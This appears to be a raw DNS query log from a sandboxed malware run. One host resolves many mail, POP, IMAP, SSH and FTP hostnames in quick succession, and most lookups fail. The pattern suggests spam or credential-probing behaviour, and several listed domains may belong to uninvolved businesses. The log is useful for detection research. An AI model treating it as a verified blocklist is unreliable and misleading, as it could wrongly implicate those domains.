Dec 20, 2023 03:13:30.236761093 CET	1.1.1.1	192.168.2.4	0x2c05	Name error (3)	mail.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.239923954 CET	1.1.1.1	192.168.2.4	0xd4b9	Name error (3)	leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.242723942 CET	1.1.1.1	192.168.2.4	0xe953	Name error (3)	pop.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.274249077 CET	1.1.1.1	192.168.2.4	0x3f0a	Name error (3)	mail.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.413573027 CET	1.1.1.1	192.168.2.4	0xb15c	Name error (3)	jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.422663927 CET	1.1.1.1	192.168.2.4	0xb0ab	Name error (3)	crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.444566965 CET	1.1.1.1	192.168.2.4	0xde68	Name error (3)	mail.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.445322990 CET	1.1.1.1	192.168.2.4	0x7363	Name error (3)	mail.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.447647095 CET	1.1.1.1	192.168.2.4	0x5037	Name error (3)	pop.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.453830957 CET	1.1.1.1	192.168.2.4	0x988b	Name error (3)	mail.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.456083059 CET	1.1.1.1	192.168.2.4	0xdb88	Name error (3)	mail.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.472929001 CET	1.1.1.1	192.168.2.4	0xda86	Name error (3)	dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.479036093 CET	1.1.1.1	192.168.2.4	0x4a68	Name error (3)	mail.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.480158091 CET	1.1.1.1	192.168.2.4	0x7432	Name error (3)	sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.482810020 CET	1.1.1.1	192.168.2.4	0x93a5	Name error (3)	lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.483417034 CET	1.1.1.1	192.168.2.4	0x28db	Name error (3)	mail.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.484051943 CET	1.1.1.1	192.168.2.4	0x3fe3	Name error (3)	pop.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.484646082 CET	1.1.1.1	192.168.2.4	0x7534	Name error (3)	youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:30.485856056 CET	1.1.1.1	192.168.2.4	0xd6c4	Name error (3)	mail.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.598572969 CET	1.1.1.1	192.168.2.4	0xc07e	Name error (3)	mail.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.602106094 CET	1.1.1.1	192.168.2.4	0xcb8a	Name error (3)	ssh.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.612760067 CET	1.1.1.1	192.168.2.4	0xb3da	Name error (3)	ssh.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.620522022 CET	1.1.1.1	192.168.2.4	0xf331	Name error (3)	ssh.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.631161928 CET	1.1.1.1	192.168.2.4	0xbbd3	Name error (3)	ssh.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.647923946 CET	1.1.1.1	192.168.2.4	0xfcc2	Name error (3)	mail.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.657690048 CET	1.1.1.1	192.168.2.4	0xc21c	Name error (3)	x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.657865047 CET	1.1.1.1	192.168.2.4	0xe0c9	Name error (3)	mail.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.658370972 CET	1.1.1.1	192.168.2.4	0x50ae	Name error (3)	zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.659123898 CET	1.1.1.1	192.168.2.4	0x1c6c	Name error (3)	mail.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.663198948 CET	1.1.1.1	192.168.2.4	0xd64	Name error (3)	dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.671258926 CET	1.1.1.1	192.168.2.4	0xc880	Name error (3)	mail.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.675697088 CET	1.1.1.1	192.168.2.4	0x935c	Name error (3)	ftp.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.679336071 CET	1.1.1.1	192.168.2.4	0x5d49	Name error (3)	mail.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.686929941 CET	1.1.1.1	192.168.2.4	0x7d62	Name error (3)	mail.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.690460920 CET	1.1.1.1	192.168.2.4	0x3a89	Name error (3)	mail.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.690500975 CET	1.1.1.1	192.168.2.4	0x421c	Name error (3)	mail.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.696221113 CET	1.1.1.1	192.168.2.4	0xcd2f	Name error (3)	ssh.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.698337078 CET	1.1.1.1	192.168.2.4	0xe29a	Name error (3)	mail.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.699959040 CET	1.1.1.1	192.168.2.4	0xdd66	Name error (3)	mail.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.702128887 CET	1.1.1.1	192.168.2.4	0xfaeb	Name error (3)	4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.702455997 CET	1.1.1.1	192.168.2.4	0xf347	Name error (3)	ssh.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.706664085 CET	1.1.1.1	192.168.2.4	0xc476	Name error (3)	alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.706795931 CET	1.1.1.1	192.168.2.4	0x2b6f	Name error (3)	ssh.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.724795103 CET	1.1.1.1	192.168.2.4	0xd5f2	Name error (3)	ssh.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.729990959 CET	1.1.1.1	192.168.2.4	0xad23	Name error (3)	ssh.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.753190041 CET	1.1.1.1	192.168.2.4	0xccbb	Name error (3)	justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.754347086 CET	1.1.1.1	192.168.2.4	0x3052	Name error (3)	mail.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.754461050 CET	1.1.1.1	192.168.2.4	0xdc41	Name error (3)	shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.762104988 CET	1.1.1.1	192.168.2.4	0x966f	Name error (3)	ssh.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.762542963 CET	1.1.1.1	192.168.2.4	0x9fce	Name error (3)	ssh.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.764324903 CET	1.1.1.1	192.168.2.4	0x7912	Name error (3)	ssh.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.775319099 CET	1.1.1.1	192.168.2.4	0xa37f	Name error (3)	njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.781835079 CET	1.1.1.1	192.168.2.4	0x19c2	Name error (3)	ssh.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.814630985 CET	1.1.1.1	192.168.2.4	0x221c	Name error (3)	mail.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.824731112 CET	1.1.1.1	192.168.2.4	0x28c5	Name error (3)	curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.844604969 CET	1.1.1.1	192.168.2.4	0x130b	Name error (3)	ssh.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.853775978 CET	1.1.1.1	192.168.2.4	0xf6de	Name error (3)	dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.860672951 CET	1.1.1.1	192.168.2.4	0xa3a3	Name error (3)	mail.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.864445925 CET	1.1.1.1	192.168.2.4	0xf9d9	Name error (3)	mail.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.877695084 CET	1.1.1.1	192.168.2.4	0xbdc5	Name error (3)	ssh.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.877743006 CET	1.1.1.1	192.168.2.4	0xfebd	Name error (3)	ssh.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.878464937 CET	1.1.1.1	192.168.2.4	0x79f5	Name error (3)	ssh.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.879460096 CET	1.1.1.1	192.168.2.4	0xd0	Name error (3)	mail.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.884701014 CET	1.1.1.1	192.168.2.4	0x1b34	Name error (3)	mail.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.884740114 CET	1.1.1.1	192.168.2.4	0xcff9	Name error (3)	pop.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.886729956 CET	1.1.1.1	192.168.2.4	0x9aa3	Name error (3)	pop.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.892851114 CET	1.1.1.1	192.168.2.4	0x816e	Name error (3)	ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.894325972 CET	1.1.1.1	192.168.2.4	0x2aff	Name error (3)	bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.923818111 CET	1.1.1.1	192.168.2.4	0x5c60	Name error (3)	ssh.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.985763073 CET	1.1.1.1	192.168.2.4	0x3066	Name error (3)	ssh.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.059190035 CET	1.1.1.1	192.168.2.4	0x5594	Name error (3)	mail.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.098144054 CET	1.1.1.1	192.168.2.4	0xbb8f	Name error (3)	dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.106733084 CET	1.1.1.1	192.168.2.4	0x756	Name error (3)	mail.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.124727011 CET	1.1.1.1	192.168.2.4	0x5294	Name error (3)	ssh.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.149951935 CET	1.1.1.1	192.168.2.4	0x3241	Name error (3)	sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.151473999 CET	1.1.1.1	192.168.2.4	0xb25a	Name error (3)	yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.173405886 CET	1.1.1.1	192.168.2.4	0xe193	Name error (3)	gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.190985918 CET	1.1.1.1	192.168.2.4	0x152e	Name error (3)	imap.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.192790031 CET	1.1.1.1	192.168.2.4	0x2a1b	Name error (3)	pop3.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.207962036 CET	1.1.1.1	192.168.2.4	0x54ff	Name error (3)	ssh.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.211597919 CET	1.1.1.1	192.168.2.4	0x1ab8	Name error (3)	mail.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.221086979 CET	1.1.1.1	192.168.2.4	0x53c5	Name error (3)	ssh.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.238890886 CET	1.1.1.1	192.168.2.4	0xd83b	Name error (3)	ssh.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.248369932 CET	1.1.1.1	192.168.2.4	0x7854	Name error (3)	mail.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.248857975 CET	1.1.1.1	192.168.2.4	0xe479	Name error (3)	ssh.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.257895947 CET	1.1.1.1	192.168.2.4	0x9991	Name error (3)	ssh.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.260154963 CET	1.1.1.1	192.168.2.4	0x85dc	Name error (3)	ftp.centurylaboratories.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.283132076 CET	1.1.1.1	192.168.2.4	0x7583	Name error (3)	mail.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.285716057 CET	1.1.1.1	192.168.2.4	0x68ea	Name error (3)	mail.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.291518927 CET	1.1.1.1	192.168.2.4	0x497d	Name error (3)	ssh.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.292808056 CET	1.1.1.1	192.168.2.4	0x2e79	Name error (3)	ssh.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.293569088 CET	1.1.1.1	192.168.2.4	0x7171	Name error (3)	ssh.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.294761896 CET	1.1.1.1	192.168.2.4	0xb13a	Name error (3)	ssh.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.295324087 CET	1.1.1.1	192.168.2.4	0x167d	Name error (3)	mail.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.314945936 CET	1.1.1.1	192.168.2.4	0xde80	Name error (3)	ssh.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.319567919 CET	1.1.1.1	192.168.2.4	0x60d1	No error (0)	artusopastry.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:32.319567919 CET	1.1.1.1	192.168.2.4	0x60d1	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.331100941 CET	1.1.1.1	192.168.2.4	0xb93c	Name error (3)	imap.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.332072020 CET	1.1.1.1	192.168.2.4	0x626	Name error (3)	imap.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.333277941 CET	1.1.1.1	192.168.2.4	0x466d	Name error (3)	yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.337403059 CET	1.1.1.1	192.168.2.4	0x56a2	Name error (3)	pop.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.347419024 CET	1.1.1.1	192.168.2.4	0x3273	Name error (3)	imap.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.365055084 CET	1.1.1.1	192.168.2.4	0x5bb9	Name error (3)	ssh.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.373975992 CET	1.1.1.1	192.168.2.4	0xa033	Name error (3)	mail.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.374123096 CET	1.1.1.1	192.168.2.4	0xa91c	Name error (3)	ssh.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.376844883 CET	1.1.1.1	192.168.2.4	0x70a9	Name error (3)	ssh.woldsweather.plus.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.378407955 CET	1.1.1.1	192.168.2.4	0x6c14	Name error (3)	pop.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.32	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386496067 CET	1.1.1.1	192.168.2.4	0x7f91	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.386544943 CET	1.1.1.1	192.168.2.4	0x56fb	Name error (3)	ftp.collinsgordonhenry.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.391171932 CET	1.1.1.1	192.168.2.4	0xd2a5	Name error (3)	imap.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.394808054 CET	1.1.1.1	192.168.2.4	0xa183	Name error (3)	ftp.ornos.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.397733927 CET	1.1.1.1	192.168.2.4	0x96cd	Name error (3)	pop.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.403461933 CET	1.1.1.1	192.168.2.4	0xcdf7	Name error (3)	pop.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.408432961 CET	1.1.1.1	192.168.2.4	0xbea	Name error (3)	pop.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.419503927 CET	1.1.1.1	192.168.2.4	0xe96b	No error (0)	eco-child.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:32.419503927 CET	1.1.1.1	192.168.2.4	0xe96b	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.422621965 CET	1.1.1.1	192.168.2.4	0xcf41	Name error (3)	imap.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.435307980 CET	1.1.1.1	192.168.2.4	0x2292	Name error (3)	pop.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.440290928 CET	1.1.1.1	192.168.2.4	0x2bab	Name error (3)	ftp.orangutech.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.440367937 CET	1.1.1.1	192.168.2.4	0xd2ed	Name error (3)	imap.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.440834045 CET	1.1.1.1	192.168.2.4	0x527d	Name error (3)	pop.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.479535103 CET	1.1.1.1	192.168.2.4	0x35d5	Name error (3)	pop.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.499311924 CET	1.1.1.1	192.168.2.4	0x80e9	Name error (3)	imap.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.529407024 CET	1.1.1.1	192.168.2.4	0x44ed	Name error (3)	imap.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.558736086 CET	1.1.1.1	192.168.2.4	0x21e0	Name error (3)	pop.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.577172041 CET	1.1.1.1	192.168.2.4	0x7d5b	Name error (3)	pop.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.582158089 CET	1.1.1.1	192.168.2.4	0x6c09	Name error (3)	imap.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.595179081 CET	1.1.1.1	192.168.2.4	0x5958	Name error (3)	pop3.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.595736980 CET	1.1.1.1	192.168.2.4	0x4f19	Name error (3)	pop3.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.596491098 CET	1.1.1.1	192.168.2.4	0x50e4	Name error (3)	ftp.mobiamericas.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.606149912 CET	1.1.1.1	192.168.2.4	0x4246	Name error (3)	ssh.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.610960960 CET	1.1.1.1	192.168.2.4	0x91f7	Name error (3)	imap.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.621040106 CET	1.1.1.1	192.168.2.4	0x2684	Name error (3)	imap.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.624735117 CET	1.1.1.1	192.168.2.4	0xba73	Name error (3)	imap.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.626960039 CET	1.1.1.1	192.168.2.4	0xf242	Name error (3)	pop.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.627743959 CET	1.1.1.1	192.168.2.4	0x4d0c	Name error (3)	pop3.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.636169910 CET	1.1.1.1	192.168.2.4	0x1c08	Name error (3)	imap.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.651444912 CET	1.1.1.1	192.168.2.4	0x3274	Name error (3)	imap.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.656505108 CET	1.1.1.1	192.168.2.4	0xcfe9	Name error (3)	imap.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.661850929 CET	1.1.1.1	192.168.2.4	0xc6f1	Name error (3)	imap.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.667012930 CET	1.1.1.1	192.168.2.4	0x9931	Name error (3)	imap.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.680324078 CET	1.1.1.1	192.168.2.4	0xeb4e	Name error (3)	ftp.newriverclimbing.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.691123009 CET	1.1.1.1	192.168.2.4	0xf11a	Name error (3)	pop.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.695790052 CET	1.1.1.1	192.168.2.4	0x922b	Name error (3)	pop3.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.717775106 CET	1.1.1.1	192.168.2.4	0x114e	Name error (3)	pop3.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.718266964 CET	1.1.1.1	192.168.2.4	0xe276	Name error (3)	pop3.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.720057964 CET	1.1.1.1	192.168.2.4	0xa4f6	Name error (3)	pop3.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.722826004 CET	1.1.1.1	192.168.2.4	0x3673	Name error (3)	imap.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.724268913 CET	1.1.1.1	192.168.2.4	0xc45a	Name error (3)	pop3.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.732459068 CET	1.1.1.1	192.168.2.4	0x7ef9	Name error (3)	ftp.ontariobluejays.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.733249903 CET	1.1.1.1	192.168.2.4	0xdade	Name error (3)	pop3.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.735764027 CET	1.1.1.1	192.168.2.4	0xc59	Name error (3)	imap.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.745667934 CET	1.1.1.1	192.168.2.4	0xf90c	Name error (3)	pop.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.764755011 CET	1.1.1.1	192.168.2.4	0x7b6c	Name error (3)	ssh.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.766418934 CET	1.1.1.1	192.168.2.4	0x632b	Name error (3)	pop.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.767016888 CET	1.1.1.1	192.168.2.4	0xa241	Name error (3)	imap.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.787064075 CET	1.1.1.1	192.168.2.4	0xd65e	Name error (3)	ssh.newriverclimbing.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.829755068 CET	1.1.1.1	192.168.2.4	0xb2e0	No error (0)	ssh.rosetre.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.829755068 CET	1.1.1.1	192.168.2.4	0xb2e0	No error (0)	ssh.rosetre.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.829755068 CET	1.1.1.1	192.168.2.4	0xb2e0	No error (0)	ssh.rosetre.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.829755068 CET	1.1.1.1	192.168.2.4	0xb2e0	No error (0)	ssh.rosetre.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.831197023 CET	1.1.1.1	192.168.2.4	0x110	Name error (3)	ssh.london.com.tr	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.839550018 CET	1.1.1.1	192.168.2.4	0x1946	Name error (3)	ssh.plastikolor.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.870012045 CET	1.1.1.1	192.168.2.4	0x878b	Name error (3)	lsmnutrition-com.mail.protection.outlook.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.889759064 CET	1.1.1.1	192.168.2.4	0x6c90	Name error (3)	ssh.nicsonsconcrete.com.au	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.899247885 CET	1.1.1.1	192.168.2.4	0x9b7b	No error (0)	ssh.copyset.com		69.20.103.147	A (IP address)	IN (0x0001)	false
